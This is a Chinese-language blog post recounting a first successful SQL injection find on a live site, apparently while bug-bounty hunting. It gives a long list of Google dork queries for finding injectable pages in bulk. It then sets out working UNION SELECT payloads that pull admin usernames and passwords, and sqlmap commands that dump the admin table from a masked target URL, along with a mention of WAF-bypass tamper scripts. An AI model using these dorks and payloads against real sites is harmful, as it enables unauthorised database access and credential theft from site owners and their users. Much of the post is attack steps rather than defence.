【实战】我终于成功了一次SQL漏洞挖掘

什么是sql注入?

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

危害

但凡使用数据库开发的应用系统,就可能存在SQL注入攻击的媒介。自1999年起,SQL注入漏洞就成了常见安全漏洞之一。至今SQL注入漏洞仍然在CVE列表中排前10。

2011年美国国土安全局,Mitre和SANA研究所将SQL注入作为第一危险的安全漏洞。至今,SQL注入仍然是首要的难以修复的安全威胁漏洞(数据库生产厂商难以通过维护数据库自身功能或提高数据库安全策略来防范SQL注入)。

2012年,Barclaycard的一个代表声称97%的数据泄露都是由SQL注入引起的。2011年年末和2012年年初,在不到一个月的时间里,超过百万的网页遭受到SQL注入攻击。2008年见证了由于SQL注入引起的经济失调。甚至在2010年秋季,联合国官方网站也遭受SQL注入攻击。

2014年一个叫“TeamDigi7al”的黑客组织攻击了美国海军的一个名为“Smart Web Move”的web应用。此次事件直接造成美国海军数据库超过22万服役人员的个人信息被泄露。而事后,美国海军动用了超过50万美元来弥补此次的数据泄密事故。在日本电话电报公司集团(NTT)发布的2014全球威胁情报的报告中提出了一个惊人的数字——“企业对一次小规模SQL注入攻击的平均善后开支,通常超过19.6万美元。”

随着Web安全事件的不断频发,我们不得不思考SQL注入攻击的代价。显然,SQL注入不是一个过期的安全问题,恰恰相反,它是一种非常容易被使用的攻击方式,SQL注入并不需要高深的攻击手段便可以轻易使敏感的数据库信息被非法浏览或删除。事实上,由于SQL注入攻击简单而又非常高效,高级黑客们已开始采用某些软件自动搜索web应用程序的SQL漏洞,并利用SQL注入自动化工具来制造僵尸,并建立可自动攻击的僵尸网络。

显然,SQL注入攻击并不会在短时间内消失,而其所造成影响更是一个刻不容缓、代价不菲的重大威胁,处理一次web应用安全事故几乎要花掉20万美元。网络安全工程师们务必要意识到,研究与防范SQL注入攻击是必要的,也是首要的安全任务。

注入手法

1、基于布尔的盲注

因为web的页面返回值都是True或者False,所以布尔盲注就是注入后根据页面返回值来得到数据库信息的一种办法。

2、基于时间的盲注

当布尔型注入没有结果(页面显示正常)的时候,我们很难判断注入的代码是否被执行,也可以说到底这个注入点存不存在?这个时候布尔型注入就无法发挥自己的作用了。基于时间的盲注便应运而生,所谓基于时间的盲注,就是我们根据web页面相应的时间差来判断该页面是否存在SQL注入点。

3、联合查询注入

使用联合查询进行注入的前提是我们要进行注入的页面必须有显示位。所谓联合查询注入即是使用union合并两个或多个SELECT语句的结果集,所以两个及以上的select必须有相同列、且各列的数据类型也都相同。联合查询注入可在链接最后添加order by 9基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。

4、基于错误信息的注入

此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。还有很多此处省略800字。。。。

信息收集

首先要知道挖漏洞是一个很玄学的事情为什么呢我也不知道。。。。。这里给大家推荐几个谷歌hack语法用来批量挖掘sql漏洞的。

inurl:/search_results.php search=
inurl:’Product.asp?BigClassName
inurl:Article_Print.asp?
inurl:NewsInfo.asp?id=
inurl:EnCompHonorBig.asp?id=
inurl:NewsInfo.asp?id=
inurl:ManageLogin.asp
inurl:Offer.php?idf=
inurl:Opinions.php?id=
inurl:Page.php?id=
inurl:Pop.php?id=
inurl:Post.php?id=
inurl:Prod_info.php?id=
inurl:Product-item.php?id=
inurl:Product.php?id=
inurl:Product_ranges_view.php?ID=
inurl:Productdetail.php?id=
inurl:Productinfo.php?id=
inurl:Produit.php?id=
inurl:Profile_view.php?id=
inurl:Publications.php?id=
inurl:Stray-Questions-View.php?num=
inurl:aboutbook.php?id=
inurl:ages.php?id=
inurl:announce.php?id=
inurl:art.php?idm=
inurl:article.php?ID=
inurl:asp?id=
inurl:avd_start.php?avd=
inurl:band_info.php?id=
inurl:buy.php?category=
inurl:category.php?id=
inurl:channel_id=
inurl:chappies.php?id=
inurl:clanek.php4?id=
inurl:clubpage.php?id=
inurl:collectionitem.php?id=
inurl:communique_detail.php?id=
inurl:curriculum.php?id=
inurl:declaration_more.php?decl_id=
inurl:detail.php?ID=
inurl:download.php?id=
inurl:downloads_info.php?id=
inurl:event.php?id=
inurl:faq2.php?id=
inurl:fellows.php?id=
inurl:fiche_spectacle.php?id=
inurl:forum_bds.php?num=
inurl:galeri_info.php?l=
inurl:gallery.php?id=
inurl:game.php?id=
inurl:games.php?id=
inurl:historialeer.php?num=
inurl:hosting_info.php?id=
inurl:humor.php?id=
复制代码

挖掘

当我们满怀信息的去挖掘漏洞时你会发现我的天有waf,不挖了太难了嘻嘻

首先我们不要有这样的想法我们要想我们能挖到!!!

好了回归正题!!

当你发现网站有waf怎么绕都绕不过去不要急,影哥教你骚操作好好看好好学,尽然网站有waf我们也绕不过去那我们就找网站没有

waf的地方。

你看看这地方注意这四个字”打印此文”没错这里没有waf没有保护

and 1=2没有返回信息说明为假

and 1=1返回了数据说明为真不错

猜字段order by 29没有返回信息

order by 28返回了信息也就是说字段在1-28

然后我们猜想一下有个表是admin表,
union select 1,2,3,4,5,6,7,4,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin 数据库没有出错说明数据库当中的确有admin表的存在并且,发现注入点在3,4,5,14然后我们尝试猜测最常见的管理表字段名

usernamepassword,我们在3,4,5,14中任选两个,分别填入usernamepassword

union select 1,2,username,4,password,6,7,4,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin 可以看出页面

已经返回了admin表中的usernamepassword的字段内容

不错不错

再给各位演示一下用sqlmap

首先sqlmap是自带脚本的可以绕waf的这些脚本都在tamper文件夹中详细就不讲了大家可以上网搜搜嘻嘻

sqlmap.py -u www.xxxx.com/Article_Print.asp?ArticleID=1182 —level 3(level是等级最高是5级)
复制代码

sqlmap.py -u http://www.xxxx.com/Article_Print.asp?ArticleID=1182 —dbs
复制代码

咦!这是怎么回事怎么跑不出来数据库库名算了放弃,没错这就是我当初第一次使用sqlmap的状态,明明跑出了漏洞但数据库库名跑不出嘤嘤,当你仔细看你就会发现sqlmap给你提示了。。。。。。。好家伙瞬间想到一句话爷只是怕错过。。。。。。

好家伙我直接泪奔。。

sqlmap.py -u http://www.xxxx.com/Article_Print.asp?ArticleID=1182 —tables
复制代码

看看看看跑出来了

sqlmap.py -u http://www.xxxx.com/Article_Print.asp?ArticleID=1182 -T admin —columns获取admin表里的字段(-T 是tables简写)
复制代码

img sqlmap.py -u http://www.xxxx.com/Article_Print.asp?ArticleID=1182 -T admin -C username,password —dump获取admin表里的username和password字段内容(-T是tables简写 -C是columns简写)
复制代码

哇哦是不是很nice点赞!!

最后说一下当你的漏洞被忽略的时候一定要看他给的原因 当你的忽略原因和我一样是无法复现时
图片[1]-【实战】我终于成功了一次SQL漏洞挖掘-一一网
图片[2]-【实战】我终于成功了一次SQL漏洞挖掘-一一网
一定要自己在复现一次看看是不是真的不能复现如果能那就申诉(毕竟被扣了27积分呜呜)
好在最后申诉成功了要不然我的27积分就白白没了嘤嘤 最后分享一波工具记得点赞哦!!!!

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享